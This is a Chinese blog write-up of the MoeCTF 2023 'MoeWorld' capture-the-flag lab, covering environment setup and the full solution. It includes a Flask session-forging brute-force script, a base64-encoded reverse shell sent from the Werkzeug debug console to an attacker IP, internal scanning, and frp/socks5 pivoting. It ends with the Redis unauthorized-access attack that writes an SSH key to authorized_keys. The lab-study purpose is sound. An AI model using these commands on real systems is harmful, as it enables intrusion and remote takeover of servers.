每日一题 —— [MoeCTF 2023]MoeWorld¶
题目地址:https://github.com/XDSEC/MoeCTF_2023/tree/main 自己克隆了之后搭建环境
搭建环境¶
决定要做这道题目的话,因为题目已经下线了,所以我们需要先去搭建环境。先看一下克隆下来的目录,有三个文件夹,并且还有一个 docker-compose.yml
。那么我们就按照这个文件搭建环境。
首先,我们先要处理一下这个环境的一些 bug. 我认为这个环境在上线的时候可能和实际代码不太一样,如果直接使用 docker compose up -d
的话,可能会出现一些无法搭建的问题。所以我们需要按照报错修改一下环境。
redis 无法拉取¶
首先就是环境因为网络原因起不来,尤其是 redis
那个服务,虽然出题人已经修改了源仓库,但是还是没有完全修改,仍然有部分文件会从 debian
那边官方源拉取。(当然最终的报错好像不是因为官方源,而是镜像源缺少了某个文件)我们这里采用的是直接代理的解决方式,既然无法覆盖所有的源,那么我们就直接使用官方的源。
编辑 3_redis/dockerfile
:
FROM redis:6
# COPY sources.list /etc/apt/sources.list
ENV http_proxy=http://192.168.0.105:7890
RUN apt-get update && apt-get install -y openssh-server
COPY redis.conf /etc/redis/redis.conf
COPY sshd_config /etc/ssh/sshd_config
COPY start.sh /start.sh
COPY ./flag /flag
RUN chmod +x /start.sh
EXPOSE 6379
EXPOSE 22
# 运行 Redis 服务器
CMD [ "/start.sh" ]
注意到第三行和第四行,我们这里注释掉了第三行是因为我们直接使用官方的源,所以不需要修改。第四行就是我们添加的代理,这里我使用的是 192.168.0.105
这个 IP地址,采用的便是我的物理机的外部 ip。这个 ip 地址可能会变化,但是无所谓,暂时用一下,build 完成就不用管了。至于代理服务器怎么配置就自己想办法了,需要能够顺利连接 debian 官方源哦
吐槽
插一句:因为"出去旅游的心海"那道题的阴间出题人给的链接全部失效了,所以我压根就没有题目的 moeworld.zip
的解压密码。最终我只能根据各种 wp 来猜测里面的内容。比如说 README.md
。所以说知道写这篇文章的时候,我才知道题目源码里的 README.md
的内容:可能由于换源不完全导致更新特别慢。你瞧瞧,这出题人还知道他换源没换好。。。
到此一步应该就可以正常启用服务了:
mysql 无法连接¶
现在访问 http://localhost:8000
的话,虽然发现已经出现题目网页环境了,但是我们尝试登陆和注册的话,会发现半天没有反应,然后报错,显示 mysql 连接失败。使用 docker log
查看日志,会发现是 mysql 服务版本出现问题了。这时候我们就需要更改题目给的 mysql 版本了。
可以看到,题目给的 docker-compose.yml
文件里,mysql 的版本是 5.7
。我们需要按照 db.sql
给的那个版本号改一下,也就是 8.0.24
。
编辑 2_mysql/dockerfile
:
FROM mysql:8.0.24
ENV MYSQL_ROOT_PASSWORD=The_P0sswOrD_Y0u_Nev3r_Kn0w
COPY db.sql /docker-entrypoint-initdb.d/
EXPOSE 3306
主要更改的是第一行。我也不知道为什么出题人会后来改成了 5.7
。明明 readme
文件里面用来保存 .sql
文件的命令得到的文件名都不一样。
更改完之后,我们重新构建一下,就可以启动我们的环境了。
网段占用¶
这个情况一般情况下不太容易出现,我写在这里是因为我出现了这个情况。具体原因是因为,使用 docker-compose
进行环境构建时会生成一个 net
网络,而如果生成 net
网络而之后不执行 docker compose down
的话,这个 net
网络就会一直存在。因为这道题涉及内网渗透,需要手动设置网段,所以运气不好和以前遗留下来的网段冲突了,导致无法连接。
首先看一眼遗留下来的网段:
然后清除一下不在运行的 net
网络:
这条命令会让你清楚所有无用的 net
网络。如果这样之后还是无法建立起环境,就只能劳烦自己去手动检查所有 docker-compose
环境了。
开始做题¶
既然现在环境搭建起来了,那么我们就开始按照正常步骤做题。
flag1¶
首先我们先看看题目网页。默认设置的端口是 8000
,我们访问 localhost:8000
是一个登陆注册页面。因为是公共环境,所以多半也是没法对登陆步骤做什么太多想法,就正常注册登陆进去,发现是一个留言板。根据出题人的提示,留言板只是增强了互动性,所以我们直接看 admin 留下来的信息:
记录一下搭建留言板的过程
首先确定好web框架,笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦!!
身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!
所以说,这道题的思路就是 session 伪造。那么要做到伪造 session, 首先要做到的就是知道 Flask 的 secret_key
。由于我们暂时不知道 Flask 通过 secret_key
生成 session
字符串的算法,大概和 RSA 差不多,但是我只能去找有没有现成的工具了。
通过 https://github.com/noraj/flask-session-cookie-manager/ 这个项目,可以通过命令行来生成 session
字符串。但是我们想要爆破 secret_key
,所以我直接把他的核心代码复制了出来,写出来这个脚本:
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM:
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
@staticmethod
def decode(session_cookie_value, secret_key=None):
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
if __name__ == "__main__":
cookie2 = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzEyMyJ9.ZpzJyA.ebfvnwLG7PzqR3bRrUWgnEvdh4c'
key1 = "This-random-secretKey-you-can't-get"
## step1
# while True:
# key = key1 + os.urandom(2).hex()
# r = FSCM.decode(secret_key=key, session_cookie_value=cookie2)
# if 'error' not in r:
# print(key)
## step2
key = key1 + "6c4a"
content = '{"power":"admin","user":"123123"}'
print(FSCM.encode(key, content))
简单解释一下,这个 FSCM
类就是用来生成 session
和验证 session
的。它的 decode
方法与其说是解码,不如说是 verify
验证。然后就是 main
方法,就是反注释 step1
时,就可以爆破出 secret_key
,反注释 step2
就可以生成我们自己的 session
。具体来说,我们只要把 power
这一项从 guest
改为 admin
就可以获得管理员权限了。
吐槽
这里有个问题就是:如果你把 user
这一项改为 admin
的话,你就可以删掉出题人预留的信息了。如此一搞害得我重新启用了容器。
另外我在后来查看了网站的 mysql 数据库,发现 admin
的 power
那一项其实是 power=root
。我也不知道为什么在这里就改成 power=admin
了。
然后,我们就看到了 admin 留下来的新消息:
今天测试留言板的时候发现我的调试模式给出的pin码一直是698-330-383不变,真是奇怪呢
不过这个泄露了貌似很危险,别人就可以进我的console执行任意python代码了!
一定不能泄露出去!!!!
如果有自己建立过 Flask 程序的话就会知道,启动 debug
模式的时候会生成一个 PIN 码。这个 PIN 码的作用就是用来在前台进入 console 执行 python
命令用的。除了构造报错,使得 Flask 进入报错页面使用 console,还有一招更直接的(我死活搜不到的)—— 直接在 url 后面跟上一个 /console
就可以了。
吐槽
出题人说是 PIN 码一直不变,其实 PIN 码的生成是完全随机的,和机器型号、软件版本有关。在一部分题目里,是需要你根据题目给出的已知信息和挖掘出的信息,手动计算 PIN 码的。在这里出题人其实是专门写了一个 getPIN.py
来获取 PIN 码,最后丢给你说是它不变了。
现在进入 console,输入 PIN 码,然后可以进行 python
的命令执行。
我们现在直接导入 os
模块,然后反弹一下 shell ,就可以从外网渗透进去了。
# 方案一
import os
os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU1Lzg4ODggMD4mMQ==" | base64 -d | bash').read()
# 方案二
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU1Lzg4ODggMD4mMQ==" | base64 -d | bash').read()
所谓方案二,其实就是类似于 SSTI 那边的做法。只是我一开始脑子没转过弯来,忘记可以直接导入 os
模块罢了。
于此同时在另一边,你的 VPS 上,需要使用 nc
监听一下:
这样的话,就成功反弹 shell 了。
我们还可以升级一下我们的 shell,因为待会需要的内网渗透都需要用到这个 shell,别不小心 Ctrl+C
断掉了就亏了。
export TERM=xterm-256color # 让终端有颜色
python3 -c 'import pty;pty.spawn("/bin/bash")' # 使用 bash 终端
# 这里使用 Ctrl+Z 暂停一下反弹 shell
stty raw -echo; fg # 开启终端交互模式
reset # 重启终端
现在我们就已经完成了外网的渗透,直接 ls /
就可以获得 flag1, 并且看一下出题人给的提示。
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人
flag2¶
按照提示,我们需要扫一下内网了。首先我们先要确定一下我们手上的这个靶机,也就是运行 flask 的机子的 ip 地址:
然后我们就按照提示,使用 fscan
来搜索一下
根据提示,我们看到 172.21.0.1/24
这个网段是外网网段,一堆 172.21.0.1
的服务,把我主机挂的乱七八糟各种服务都扫出来了。那没办法,看一眼 172.20.0.1/24
网段吧。
(icmp) Target 172.20.0.1 is alive
(icmp) Target 172.20.0.2 is alive
(icmp) Target 172.20.0.3 is alive
(icmp) Target 172.20.0.4 is alive
[*] Icmp alive hosts len is: 4
172.20.0.1:22 open
172.20.0.1:7890 open
172.20.0.3:3306 open
172.20.0.2:22 open
172.20.0.2:6379 open
172.20.0.4:8080 open
扫描了内网的 172.20.0.1/24 网段,去除掉 172.20.0.1
这一台主机,剩下三台主机,集齐它们开放的端口,从小到大排序,也就是 22-3306-6379-8080
。这个也就是 hint.zip
的解压密码。不过因为我连外层解压密码也不知道,那么就只能看源码给出的信息了:
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
根据爆出来的端口信息,我们可以知道 172.20.0.3
运行的就是 mysql,我们先获取一下它的账号密码。通过 /app/dataSql.py
这个文件,我们可以知道账号密码:
db = pymysql.connect(
host="mysql", # 数据库地址
port=3306, # 数据库端口
user="root", # 数据库用户名
passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w", # 数据库密码
database="messageboard", # 数据库名
charset='utf8'
)
既然已经获得了 mysql 的账号密码,我们原则上是可以直接登陆的,但是问题是我们目前获得的靶机是没有 mysql
的命令的。根据提示,我们可以把内网的端口映射出去,然后在有 mysql
命令的机器上进行连接。题目提供了 frp
,我对 frp 比较熟悉,就使用这个方案。我在这里就选择直接把内网靶机的 3306
端口映射出去。
首先,我们需要写入一个 frpc.ini
文件,内容如下:
[common]
server_addr = your_vps
server_port = 7000
[mysql]
type = tcp
remote_port = 7777
local_ip = 172.20.0.3
local_port = 3306
[plugin_socks5]
type = tcp
remote_port = 9015
plugin = socks5
我们暂时忽略第三段,因为第三段是官方推荐的方法,我们带会讲。如果我们只配置了第二段 [mysql]
的话,我们就需要先上我们的 vps 进行 frps
的配置
远程 vps 启动 frps,然后在我们的靶机上,因为没有内置编辑器,并且同目录下的 frpc.ini
文件并没有权限被更改,所以我们编码一下,写入 /tmp
文件中。
echo "W2NvbW1vbl0Kc2VydmVyX2FkZHIgPSB5b3VyX3ZwcwpzZXJ2ZXJfcG9ydCA9IDcwMDAKCltteXNxbF0KdHlwZSA9IHRjcApyZW1vdGVfcG9ydCA9IDc3NzcKbG9jYWxfaXAgPSAxNzIuMjAuMC4zCmxvY2FsX3BvcnQgPSAzMzA2CgpbcGx1Z2luX3NvY2tzNV0KdHlwZSA9IHRjcApyZW1vdGVfcG9ydCA9IDkwMTUKcGx1Z2luID0gc29ja3M1Cg==" | base64 -d > /tmp/frpc.ini
然后,我们就可以利用这个配置文件来启动 frpc
。
启动之后,我们就可以直接在我们主力机上运行 mysql
命令来连接内网的 mysql 了:
第二种方法就是使用 frpc.ini
文件里的第三段,也就是 socks5 代理,当运行这个代理的时候,我们就相当于直接将靶机作为我们的代理服务器然后访问内网服务了。如果使用这个方法,我们可以使用 proxychains
命令,然后在 proxychains.conf
文件最后这么配置:
配置完代理之后,就可以运行代理,然后连接数据库了。
进入 mysql 之后,就可以直接获取 flag2 了:
flag3¶
按照提示,我们 flag3 应该向 172.0.0.2
的 redis 服务下手。这台主机除了开启了 6379
端口,还开放了 22
端口,说明它可以被 ssh 连接。根据网上的各种资料,我总算是找到了这个漏洞:redis 未授权访问漏洞。
首先这个漏洞的满足条件就是:
- redis 服务没有设置密码
- redis 服务主机开启了 22 端口,也就是 ssh 服务
既然靶机满足条件,我们就可以先尝试一下直接连接服务。首先我们先保留之前搭建好的代理:
发现成功连接,我们就可以开始着手攻击。具体流程大概就是,利用 redis 的持久化备份,把含有我们攻击机的 ssh 公钥写入到靶机的 /root/.ssh/authorized_keys
文件中。然后我们的攻击机就可以直接使用 ssh 连接靶机了。
首先,我们的攻击机需要生成一对 ssh 密钥,当然我已经生成好了。
一路回车,就会发现自己的 ~/.ssh
目录下生成了 id_rsa
和 id_rsa.pub
两个文件。
然后,我们将 id_rsa.pub
这个文件的内容先存入 redis:
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat ~/.ssh/key.txt | proxychains4 redis-cli -h 172.20.0.2 -x set xxx
这里第一行的意思就是说,我们需要把 id_rsa.pub
公钥内容存入 redis 的 xxx
内。前后的换行符的用途就是防止 redis 持久化的格式导致公钥被破坏。第二行就是把公钥内容临时存入 redis 了。现在我们需要持久化一下,并且把他存为 /root/.ssh/authorized_keys
文件。
proxychains4 redis-cli -h 172.20.0.2
config set dir /root/.ssh
config set dbfilename authorized_keys
save
因为临时恶补了一下 redis 的有关知识,所以这几句话的意思大概就是,设置 redis 持久化的文件为 /root/.ssh/authorized_keys
,然后 save
一下就可以了。
现在我们就可以使用我们的主力攻击机去连接 redis 靶机了:
进去之后,就可以使用 cat /root/flag
获取 flag3 了。
最终我们的 flag 就是:
文章热度:0次阅读